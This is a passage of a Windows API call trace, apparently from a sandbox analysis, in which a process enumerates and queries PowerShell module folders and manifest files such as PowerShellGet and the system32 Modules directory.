lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x3615f00 | out: lpFileInformation=0x3615f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0276.154] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7d248) returned 1 [0276.169] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x1bb7db00*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x1bb7db00*(Data1=0x2b04c40, Data2=0xf800, Data3=0x0, Data4=([0]=0xa6, [1]=0xe3, [2]=0x7a, [3]=0x3, [4]=0x6d, [5]=0xb0, [6]=0xd7, [7]=0x1))) returned 0x0 [0276.172] SetEvent (hEvent=0x3f4) returned 1 [0276.172] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1bb7dca0*=0x3f4, lpdwindex=0x1bb7da84 | out: lpdwindex=0x1bb7da84) returned 0x0 [0276.174] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0276.174] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0276.174] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7dde8) returned 1 [0276.174] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x361ae38 | out: lpFileInformation=0x361ae38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0276.174] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7dd98) returned 1 [0276.174] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0276.175] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0276.175] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0276.175] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0276.175] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0276.176] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0276.178] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules")) returned 0x10 [0276.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e108) returned 1 [0276.180] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0276.180] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x33, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", lpFilePart=0x0) returned 0x32 [0276.180] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\*", lpFindFileData=0x1bb7deb0 | out: lpFindFileData=0x1bb7deb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x49422420, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49422420, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ada7480 [0276.180] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x49422420, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49422420, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.181] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x98a9525d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa9fa1e6a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x98a9525d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppLocker", cAlternateFileName="APPLOC~1")) returned 1 [0276.181] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1dba44b2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1dba44b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BitsTransfer", cAlternateFileName="BITSTR~1")) returned 1 [0276.181] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x492f1920, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x492f1920, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x492f1920, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CimCmdlets", cAlternateFileName="CIMCMD~1")) returned 1 [0276.181] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x492f1920, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x492f1920, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x492f1920, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISE", cAlternateFileName="")) returned 1 [0276.181] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x492a5660, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x492a5660, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x492a5660, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Archive", cAlternateFileName="MICROS~1.ARC")) returned 1 [0276.181] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x492f1920, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x492f1920, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x492f1920, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Diagnostics", cAlternateFileName="MICROS~1.DIA")) returned 1 [0276.181] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x492f1920, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x492f1920, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x492f1920, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Host", cAlternateFileName="MICROS~1.HOS")) returned 1 [0276.181] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x492a5660, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x492a5660, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x492a5660, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.LocalAccounts", cAlternateFileName="MICROS~1.LOC")) returned 1 [0276.181] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x492f1920, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x492f1920, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x492f1920, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management", cAlternateFileName="MICROS~1.MAN")) returned 1 [0276.181] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x492a5660, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x492a5660, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x492a5660, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.ODataUtils", cAlternateFileName="MICROS~1.ODA")) returned 1 [0276.181] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49317a80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49317a80, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49317a80, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Security", cAlternateFileName="MICROS~1.SEC")) returned 1 [0276.182] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x492f1920, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x492f1920, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x492f1920, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility", cAlternateFileName="MICROS~1.UTI")) returned 1 [0276.182] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49422420, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49422420, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49422420, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WSMan.Management", cAlternateFileName="MICROS~2.MAN")) returned 1 [0276.182] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4927f500, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x492a5660, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x492a5660, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkSwitchManager", cAlternateFileName="NETWOR~1")) returned 1 [0276.182] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49317a80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49422420, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49422420, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDesiredStateConfiguration", cAlternateFileName="PSDESI~1")) returned 1 [0276.182] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x49317a80, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49317a80, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDiagnostics", cAlternateFileName="PSDIAG~1")) returned 1 [0276.182] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x492f1920, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49317a80, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49317a80, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSScheduledJob", cAlternateFileName="PSSCHE~1")) returned 1 [0276.182] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49317a80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49317a80, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49317a80, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSWorkflow", cAlternateFileName="PSWORK~2")) returned 1 [0276.182] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x492f1920, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x492f1920, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x492f1920, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSWorkflowUtility", cAlternateFileName="PSWORK~1")) returned 1 [0276.182] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1dba44b2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1dba44b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TroubleshootingPack", cAlternateFileName="TROUBL~1")) returned 1 [0276.182] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0276.182] FindClose (in: hFindFile=0x1ada7480 | out: hFindFile=0x1ada7480) returned 1 [0276.182] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de08) returned 1 [0276.182] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e028) returned 1 [0276.183] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.psd1")) returned 0xffffffff [0276.184] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.psm1")) returned 0xffffffff [0276.184] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.cdxml")) returned 0xffffffff [0276.184] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.xaml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.xaml")) returned 0xffffffff [0276.184] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.ni.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.ni.dll")) returned 0xffffffff [0276.185] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.dll")) returned 0xffffffff [0276.185] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0276.185] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker", nBufferLength=0x3d, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker", lpFilePart=0x0) returned 0x3c [0276.185] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de88) returned 1 [0276.185] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\applocker"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e1b0 | out: lpFileInformation=0x1bb7e1b0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x98a9525d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa9fa1e6a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x98a9525d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0276.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de38) returned 1 [0276.186] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0276.186] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x40, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", lpFilePart=0x0) returned 0x3f [0276.186] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de88) returned 1 [0276.186] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\bitstransfer"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e1b0 | out: lpFileInformation=0x1bb7e1b0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1dba44b2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1dba44b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0276.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de38) returned 1 [0276.186] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0276.186] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x3e, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", lpFilePart=0x0) returned 0x3d [0276.186] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de88) returned 1 [0276.186] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\cimcmdlets"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e1b0 | out: lpFileInformation=0x1bb7e1b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x492f1920, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x492f1920, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x492f1920, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0276.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de38) returned 1 [0276.191] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0276.192] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x37, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", lpFilePart=0x0) returned 0x36 [0276.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de88) returned 1 [0276.192] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\ise"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e1b0 | out: lpFileInformation=0x1bb7e1b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x492f1920, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x492f1920, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x492f1920, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0276.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de38) returned 1 [0276.192] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0276.192] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x50, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", lpFilePart=0x0) returned 0x4f [0276.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de88) returned 1 [0276.192] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e1b0 | out: lpFileInformation=0x1bb7e1b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x492a5660, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x492a5660, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x492a5660, ftLastWriteTime.dwHighDateTime=0x1d73a90, 